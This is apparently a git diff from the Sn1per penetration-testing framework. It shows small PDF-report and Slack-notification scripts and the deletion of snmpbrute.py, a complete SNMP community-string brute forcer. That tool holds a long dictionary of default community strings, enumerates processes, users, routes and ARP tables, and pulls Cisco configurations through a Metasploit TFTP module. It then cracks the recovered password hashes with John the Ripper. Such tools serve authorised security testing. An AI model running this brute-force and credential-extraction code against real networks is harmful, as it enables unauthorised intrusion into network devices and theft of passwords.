buf = "".join(("0 ", str((self._curobj) + 1), "\n"))
|
||||
ws(buf)
|
||||
buf = "".join(("0000000000 65535 f ", str(LINE_END)))
|
||||
ws(buf)
|
||||
|
||||
for i in range(1, self._curobj + 1):
|
||||
val = self._locations[i]
|
||||
buf = "".join((string.zfill(str(val), 10), " 00000 n ", str(LINE_END)))
|
||||
ws(buf)
|
||||
|
||||
ws("trailer\n")
|
||||
ws("<<\n")
|
||||
buf = "".join(("/Size ", str(self._curobj + 1), "\n"))
|
||||
ws(buf)
|
||||
ws("/Root 2 0 R\n")
|
||||
ws("/Info 1 0 R\n")
|
||||
ws(">>\n")
|
||||
|
||||
ws("startxref\n")
|
||||
buf = "".join((str(xref), "\n"))
|
||||
ws(buf)
|
||||
ws("%%EOF\n")
|
||||
|
||||
|
||||
def main():
|
||||
|
||||
pdfclass=PyText2Pdf()
|
||||
pdfclass.parse_args()
|
||||
pdfclass.convert()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
import pdfkit
|
||||
pdfkit.from_url('/usr/share/sniper/loot/workspace/hulu/sniper-report.html', 'out.pdf')
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
#!/bin/bash
|
||||
|
||||
SLACK_API_TOKEN=""
|
||||
SLACK_CHANNEL="sn1per-professional"
|
||||
MESSAGE="$1"
|
||||
|
||||
if [ "$MESSAGE" == "postfile" ]; then
|
||||
FILENAME="$2"
|
||||
curl -v -F "file=@$FILENAME" "https://slack.com/api/files.upload?token=$SLACK_API_TOKEN&channels=%23$SLACK_CHANNEL&filename=$FILENAME&pretty=1" 2> /dev/null > /dev/null
|
||||
else
|
||||
curl -G --data-urlencode "text=$MESSAGE" \
|
||||
--data-urlencode "token=$SLACK_API_TOKEN" \
|
||||
--data-urlencode "channel=#$SLACK_CHANNEL" \
|
||||
-i -s -k -X $'GET' \
|
||||
-H $'Host: slack.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
|
||||
$'https://slack.com/api/chat.postMessage' 2> /dev/null > /dev/null
|
||||
fi
|
||||
Binary file not shown.
789
bin/snmpbrute.py
789
bin/snmpbrute.py
|
|
@ -1,789 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# SNMP Bruteforce & Enumeration Script
|
||||
# Requires metasploit, snmpwalk, snmpstat and john the ripper
|
||||
__version__ = 'v1.0b'
|
||||
from socket import socket, SOCK_DGRAM, AF_INET, timeout
|
||||
from random import randint
|
||||
from time import sleep
|
||||
import optparse, sys, os
|
||||
from subprocess import Popen, PIPE
|
||||
import struct
|
||||
import threading, thread
|
||||
import tempfile
|
||||
|
||||
from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS,
|
||||
SNMPset, SNMPbulk, IP)
|
||||
|
||||
##########################################################################################################
|
||||
# Defaults
|
||||
##########################################################################################################
|
||||
class defaults:
|
||||
rate=30.0
|
||||
timeOut=2.0
|
||||
port=161
|
||||
delay=2
|
||||
interactive=True
|
||||
verbose=False
|
||||
getcisco=True
|
||||
colour=True
|
||||
|
||||
default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','<removed>','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI']
|
||||
|
||||
##########################################################################################################
|
||||
# OID's
|
||||
##########################################################################################################
|
||||
''' Credits
|
||||
Some OID's borowed from Cisc0wn script
|
||||
# Cisc0wn - The Cisco SNMP 0wner.
|
||||
# Daniel Compton
|
||||
# www.commonexploits.com
|
||||
# contact@commexploits.com
|
||||
'''
|
||||
|
||||
RouteOIDS={
|
||||
'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"],
|
||||
'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"],
|
||||
'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"],
|
||||
'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"],
|
||||
'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"],
|
||||
'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"],
|
||||
'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"],
|
||||
'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"]
|
||||
}
|
||||
|
||||
InterfaceOIDS={
|
||||
#Interface Info
|
||||
'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"],
|
||||
'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"],
|
||||
'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"],
|
||||
'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"]
|
||||
}
|
||||
|
||||
ARPOIDS={
|
||||
# Arp table
|
||||
'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"],
|
||||
'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"]
|
||||
}
|
||||
|
||||
OIDS={
|
||||
'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"]
|
||||
}
|
||||
|
||||
snmpstat_args={
|
||||
'Interfaces':["-Ci","Interface Info"],
|
||||
'Routing':["-Cr","Route Info"],
|
||||
'Netstat':["","Netstat"],
|
||||
#'Statistics':["-Cs","Stats"]
|
||||
}
|
||||
|
||||
'''Credits
|
||||
The following OID's are borrowed from snmpenum.pl script
|
||||
# ----by filip waeytens 2003----
|
||||
# ---- DA SCANIT CREW www.scanit.be ----
|
||||
# filip.waeytens@hushmail.com
|
||||
'''
|
||||
|
||||
WINDOWS_OIDS={
|
||||
'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
|
||||
'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"],
|
||||
'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"],
|
||||
'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
|
||||
'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"],
|
||||
'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"],
|
||||
'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
|
||||
'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"],
|
||||
'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"],
|
||||
'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"],
|
||||
'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"],
|
||||
'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"]
|
||||
}
|
||||
|
||||
LINUX_OIDS={
|
||||
'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"],
|
||||
'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"],
|
||||
'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
|
||||
'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
|
||||
'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"],
|
||||
'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"],
|
||||
'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"],
|
||||
'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"]
|
||||
}
|
||||
|
||||
CISCO_OIDS={
|
||||
'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"],
|
||||
'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"],
|
||||
'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"],
|
||||
'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"],
|
||||
'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"],
|
||||
'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"],
|
||||
'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"],
|
||||
'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"],
|
||||
'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"],
|
||||
'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"],
|
||||
'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"],
|
||||
'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"],
|
||||
'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"]
|
||||
}
|
||||
|
||||
##########################################################################################################
|
||||
# Classes
|
||||
##########################################################################################################
|
||||
|
||||
class SNMPError(Exception):
|
||||
'''Credits
|
||||
Class copied from sploitego project
|
||||
__original_author__ = 'Nadeem Douba'
|
||||
https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
|
||||
'''
|
||||
pass
|
||||
|
||||
class SNMPVersion:
|
||||
'''Credits
|
||||
Class copied from sploitego project
|
||||
__original_author__ = 'Nadeem Douba'
|
||||
https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
|
||||
'''
|
||||
v1 = 0
|
||||
v2c = 1
|
||||
v3 = 2
|
||||
|
||||
@classmethod
|
||||
def iversion(cls, v):
|
||||
if v in ['v1', '1']:
|
||||
return cls.v1
|
||||
elif v in ['v2', '2', 'v2c']:
|
||||
return cls.v2c
|
||||
elif v in ['v3', '3']:
|
||||
return cls.v3
|
||||
raise ValueError('No such version %s' % v)
|
||||
|
||||
@classmethod
|
||||
def sversion(cls, v):
|
||||
if not v:
|
||||
return 'v1'
|
||||
elif v == 1:
|
||||
return 'v2c'
|
||||
elif v == 2:
|
||||
return 'v3'
|
||||
raise ValueError('No such version number %s' % v)
|
||||
|
||||
class SNMPBruteForcer(object):
|
||||
#This class is used for the sploitego method of bruteforce (--sploitego)
|
||||
'''Credits
|
||||
Class copied from sploitego project
|
||||
__original_author__ = 'Nadeem Douba'
|
||||
https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py
|
||||
'''
|
||||
def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000):
|
||||
self.version = SNMPVersion.iversion(version)
|
||||
self.s = socket(AF_INET, SOCK_DGRAM)
|
||||
self.s.settimeout(timeout)
|
||||
self.addr = (agent, port)
|
||||
self.rate = rate
|
||||
|
||||
def guess(self, communities):
|
||||
|
||||
p = SNMP(
|
||||
version=self.version,
|
||||
PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
|
||||
)
|
||||
r = []
|
||||
for c in communities:
|
||||
i = randint(0, 2147483647)
|
||||
p.PDU.id = i
|
||||
p.community = c
|
||||
self.s.sendto(str(p), self.addr)
|
||||
sleep(1/self.rate)
|
||||
while True:
|
||||
try:
|
||||
p = SNMP(self.s.recvfrom(65535)[0])
|
||||
except timeout:
|
||||
break
|
||||
r.append(p.community.val)
|
||||
return r
|
||||
|
||||
def __del__(self):
|
||||
self.s.close()
|
||||
|
||||
class SNMPResults:
|
||||
addr=''
|
||||
version=''
|
||||
community=''
|
||||
write=False
|
||||
|
||||
def __eq__(self, other):
|
||||
return self.addr == other.addr and self.version == other.version and self.community == other.community
|
||||
|
||||
##########################################################################################################
|
||||
# Colour output functions
|
||||
##########################################################################################################
|
||||
|
||||
# for color output
|
||||
BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
|
||||
|
||||
#following from Python cookbook, #475186
|
||||
def has_colours(stream):
|
||||
if not hasattr(stream, "isatty"):
|
||||
return False
|
||||
if not stream.isatty():
|
||||
return False # auto color only on TTYs
|
||||
try:
|
||||
import curses
|
||||
curses.setupterm()
|
||||
return curses.tigetnum("colors") > 2
|
||||
except:
|
||||
# guess false in case of error
|
||||
return False
|
||||
has_colours = has_colours(sys.stdout)
|
||||
|
||||
def printout(text, colour=WHITE):
|
||||
|
||||
if has_colours and defaults.colour:
|
||||
seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n"
|
||||
sys.stdout.write(seq)
|
||||
else:
|
||||
#sys.stdout.write(text)
|
||||
print text
|
||||
|
||||
|
||||
##########################################################################################################
|
||||
#
|
||||
##########################################################################################################
|
||||
|
||||
def banner(art=True):
|
||||
if art:
|
||||
print >> sys.stderr, " _____ _ ____ _______ ____ __ "
|
||||
print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ "
|
||||
print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\"
|
||||
print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/"
|
||||
print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ "
|
||||
print >> sys.stderr, ""
|
||||
print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__
|
||||
print >> sys.stderr, "http://www.secforce.com / nikos.vassakis <at> secforce.com"
|
||||
print >> sys.stderr, "###############################################################"
|
||||
print >> sys.stderr, ""
|
||||
|
||||
def listener(sock,results):
|
||||
while True:
|
||||
try:
|
||||
response,addr=SNMPrecv(sock)
|
||||
except timeout:
|
||||
continue
|
||||
except KeyboardInterrupt:
|
||||
break
|
||||
except:
|
||||
break
|
||||
r=SNMPResults()
|
||||
r.addr=addr
|
||||
r.version=SNMPVersion.sversion(response.version.val)
|
||||
r.community=response.community.val
|
||||
results.append(r)
|
||||
printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE)
|
||||
|
||||
def SNMPrecv(sock):
|
||||
try:
|
||||
recv,addr=sock.recvfrom(65535)
|
||||
response = SNMP(recv)
|
||||
return response,addr
|
||||
except:
|
||||
raise
|
||||
|
||||
def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate):
|
||||
addr = (ip, port)
|
||||
for packet in packets:
|
||||
i = randint(0, 2147483647)
|
||||
packet.PDU.id = i
|
||||
packet.community = community
|
||||
sock.sendto(str(packet), addr)
|
||||
sleep(1/rate)
|
||||
|
||||
def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut):
|
||||
s = socket(AF_INET, SOCK_DGRAM)
|
||||
s.settimeout(TimeOut)
|
||||
response=''
|
||||
r=result
|
||||
|
||||
version = SNMPVersion.iversion(r.version)
|
||||
if value:
|
||||
p = SNMP(
|
||||
version=version,
|
||||
PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)])
|
||||
)
|
||||
else:
|
||||
p = SNMP(
|
||||
version=version,
|
||||
PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))])
|
||||
)
|
||||
|
||||
SNMPsend(s,p,r.addr[0],r.addr[1],r.community)
|
||||
for x in range(0, 5):
|
||||
try:
|
||||
response,addr=SNMPrecv(s)
|
||||
break
|
||||
except timeout: # if request times out retry
|
||||
sleep(0.5)
|
||||
continue
|
||||
s.close
|
||||
if not response:
|
||||
raise timeout
|
||||
return response
|
||||
|
||||
def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'):
|
||||
#Alt .1.3.6.1.2.1.1.5.0
|
||||
|
||||
setval='HASH(0xDEADBEF)'
|
||||
for r in results:
|
||||
try:
|
||||
originalval=SNMPRequest(r,OID)
|
||||
|
||||
if originalval:
|
||||
originalval=originalval[SNMPvarbind].value.val
|
||||
|
||||
SNMPRequest(r,OID,setval)
|
||||
curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
|
||||
|
||||
if curval == setval:
|
||||
r.write=True
|
||||
try:
|
||||
SNMPRequest(r,OID,originalval)
|
||||
except timeout:
|
||||
pass
|
||||
if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN)
|
||||
curval=SNMPRequest(r,OID)[SNMPvarbind].value.val
|
||||
if curval != originalval:
|
||||
printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED)
|
||||
else:
|
||||
if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE)
|
||||
else:
|
||||
r.write=None
|
||||
printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED)
|
||||
except timeout:
|
||||
r.write=None
|
||||
printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED)
|
||||
continue
|
||||
|
||||
def generic_snmpwalk(snmpwalk_args,oids):
|
||||
for key, val in oids.items():
|
||||
try:
|
||||
printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
|
||||
entry={}
|
||||
out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
|
||||
|
||||
print '\tINFO'
|
||||
print '\t----\t'
|
||||
for i in out:
|
||||
print '\t',i.strip()
|
||||
print '\n'
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
def enumerateSNMPWalk(result,options):
|
||||
r=result
|
||||
|
||||
snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1])
|
||||
|
||||
############################################################### Enumerate OS
|
||||
if options.windows:
|
||||
generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS)
|
||||
return
|
||||
if options.linux:
|
||||
generic_snmpwalk(snmpwalk_args,LINUX_OIDS)
|
||||
return
|
||||
if options.cisco:
|
||||
generic_snmpwalk(snmpwalk_args,CISCO_OIDS)
|
||||
|
||||
############################################################### Enumerate CISCO Specific
|
||||
############################################################### Enumerate Routes
|
||||
entry={}
|
||||
out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines()
|
||||
lines = len(out)
|
||||
|
||||
printout('################## Enumerating Routing Table (snmpwalk)',YELLOW)
|
||||
try:
|
||||
for key, val in RouteOIDS.items(): #Enumerate Routes
|
||||
#print '\t *',val[1], val[0]
|
||||
out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines()
|
||||
|
||||
entry[val[1]]=out
|
||||
|
||||
|
||||
print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge'
|
||||
print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---'
|
||||
for j in range(lines):
|
||||
print( '\t'+entry['Destination'][j].strip().ljust(12,' ') +
|
||||
'\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') +
|
||||
'\t'+entry['Mask'][j].strip().ljust(12,' ') +
|
||||
'\t\t'+entry['Metric'][j].strip().center(6,' ') +
|
||||
'\t'+entry['Interface'][j].strip().center(10,' ') +
|
||||
'\t'+entry['Route type'][j].strip().center(4,' ') +
|
||||
'\t'+entry['Route protocol'][j].strip().center(8,' ') +
|
||||
'\t'+entry['Route age'][j].strip().center(3,' ')
|
||||
)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
############################################################### Enumerate Arp
|
||||
print '\n'
|
||||
for key, val in ARPOIDS.items():
|
||||
try:
|
||||
printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW)
|
||||
entry={}
|
||||
out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines()
|
||||
|
||||
lines=len(out)/3
|
||||
|
||||
entry['V']=out[0*lines:1*lines]
|
||||
entry['MAC']=out[1*lines:2*lines]
|
||||
entry['IP']=out[2*lines:3*lines]
|
||||
|
||||
|
||||
print '\tIP\t\tMAC\t\t\tV'
|
||||
print '\t--\t\t---\t\t\t--'
|
||||
for j in range(lines):
|
||||
print( '\t'+entry['IP'][j].strip().ljust(12,' ') +
|
||||
'\t'+entry['MAC'][j].strip().ljust(18,' ') +
|
||||
'\t'+entry['V'][j].strip().ljust(2,' ')
|
||||
)
|
||||
print '\n'
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
############################################################### Enumerate SYSTEM
|
||||
for key, val in OIDS.items():
|
||||
try:
|
||||
printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
|
||||
entry={}
|
||||
out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
|
||||
|
||||
print '\tINFO'
|
||||
print '\t----\t'
|
||||
for i in out:
|
||||
print '\t',i.strip()
|
||||
print '\n'
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
############################################################### Enumerate Interfaces
|
||||
for key, val in snmpstat_args.items():
|
||||
try:
|
||||
printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
|
||||
out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines()
|
||||
|
||||
for i in out:
|
||||
print '\t',i.strip()
|
||||
print '\n'
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
def get_cisco_config(result,options):
|
||||
printout(('################## Trying to get config with: %s'% result.community),YELLOW)
|
||||
|
||||
identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read()
|
||||
|
||||
if options.interactive:
|
||||
Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip()
|
||||
else:
|
||||
Local_ip = identified_ip.strip()
|
||||
|
||||
if not (os.path.isdir("./output")):
|
||||
os.popen('mkdir output')
|
||||
|
||||
p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1
|
||||
|
||||
|
||||
print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E '
|
||||
|
||||
out=[]
|
||||
while p.poll() is None:
|
||||
line=p.stdout.readline()
|
||||
out.append(line)
|
||||
print '\t',line.strip()
|
||||
|
||||
printout('################## Passwords Found:',YELLOW)
|
||||
encrypted=[]
|
||||
for i in out:
|
||||
if "Password" in i:
|
||||
print '\t',i.strip()
|
||||
if "Encrypted" in i:
|
||||
encrypted.append(i.split()[-1])
|
||||
|
||||
if encrypted:
|
||||
print '\nCrack encrypted password(s)?'
|
||||
for i in encrypted:
|
||||
print '\t',i
|
||||
|
||||
#if (False if raw_input("(Y/n):").lower() == 'n' else True):
|
||||
if not get_input("(Y/n):",'n',options):
|
||||
|
||||
with open('./hashes', 'a') as f:
|
||||
for i in encrypted:
|
||||
f.write(i+'\n')
|
||||
|
||||
p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)
|
||||
while p.poll() is None:
|
||||
print '\t',p.stdout.readline()
|
||||
print 'Passwords Cracked:'
|
||||
out=os.popen('john ./hashes --show').readlines()
|
||||
for i in out:
|
||||
print '\t', i.strip()
|
||||
|
||||
out=[]
|
||||
while p.poll() is None:
|
||||
line=p.stdout.readline()
|
||||
out.append(line)
|
||||
print '\t',line.strip()
|
||||
|
||||
def select_community(results,options):
|
||||
default=None
|
||||
try:
|
||||
printout("\nIdentified Community strings",WHITE)
|
||||
|
||||
for l,r in enumerate(results):
|
||||
if r.write==True:
|
||||
printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN)
|
||||
default=l
|
||||
elif r.write==False:
|
||||
printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE)
|
||||
else:
|
||||
printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED)
|
||||
|
||||
if default is None:
|
||||
default = l
|
||||
|
||||
if not options.enum:
|
||||
return
|
||||
|
||||
if options.interactive:
|
||||
selection=raw_input("Select Community to Enumerate ["+str(default)+"]:")
|
||||
if not selection:
|
||||
selection=default
|
||||
else:
|
||||
selection=default
|
||||
|
||||
try:
|
||||
return results[int(selection)]
|
||||
except:
|
||||
return results[l]
|
||||
except KeyboardInterrupt:
|
||||
exit(0)
|
||||
|
||||
def SNMPenumeration(result,options):
|
||||
getcisco=defaults.getcisco
|
||||
try:
|
||||
printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW)
|
||||
enumerateSNMPWalk(result,options)
|
||||
|
||||
if options.windows or options.linux:
|
||||
if not get_input("Get Cisco Config (y/N):",'y',options):
|
||||
getcisco=False
|
||||
if getcisco:
|
||||
get_cisco_config(result,options)
|
||||
except KeyboardInterrupt:
|
||||
print '\n'
|
||||
return
|
||||
|
||||
def password_brutefore(options, communities, ips):
|
||||
s = socket(AF_INET, SOCK_DGRAM)
|
||||
s.settimeout(options.timeOut)
|
||||
|
||||
results=[]
|
||||
|
||||
#Start the listener
|
||||
T = threading.Thread(name='listener', target=listener, args=(s,results,))
|
||||
T.start()
|
||||
|
||||
# Craft SNMP's for both versions
|
||||
p1 = SNMP(
|
||||
version=SNMPVersion.iversion('v1'),
|
||||
PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
|
||||
)
|
||||
p2c = SNMP(
|
||||
version=SNMPVersion.iversion('v2c'),
|
||||
PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
|
||||
)
|
||||
|
||||
packets = [p1, p2c]
|
||||
|
||||
#We try each community string
|
||||
for i,community in enumerate(communities):
|
||||
#sys.stdout.write('\r{0}'.format('.' * i))
|
||||
#sys.stdout.flush()
|
||||
for ip in ips:
|
||||
SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate)
|
||||
|
||||
#We read from STDIN if necessary
|
||||
if options.stdin:
|
||||
while True:
|
||||
try:
|
||||
try:
|
||||
community=raw_input().strip('\n')
|
||||
for ip in ips:
|
||||
SNMPsend(s, packets, ip, options.port, community, options.rate)
|
||||
except EOFError:
|
||||
break
|
||||
except KeyboardInterrupt:
|
||||
break
|
||||
|
||||
try:
|
||||
print "Waiting for late packets (CTRL+C to stop)"
|
||||
sleep(options.timeOut+options.delay) #Waiting in case of late response
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
T._Thread__stop()
|
||||
s.close
|
||||
|
||||
#We remove any duplicates. This relies on the __equal__
|
||||
newlist = []
|
||||
for i in results:
|
||||
if i not in newlist:
|
||||
newlist.append(i)
|
||||
return newlist
|
||||
|
||||
def get_input(string,non_default_option,options):
|
||||
#(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False)
|
||||
|
||||
if options.interactive:
|
||||
if raw_input(string).lower() == non_default_option:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
print string
|
||||
return False
|
||||
|
||||
def main():
|
||||
|
||||
parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter())
|
||||
|
||||
parser.set_usage("python snmp-brute.py -t <IP> -f <DICTIONARY>")
|
||||
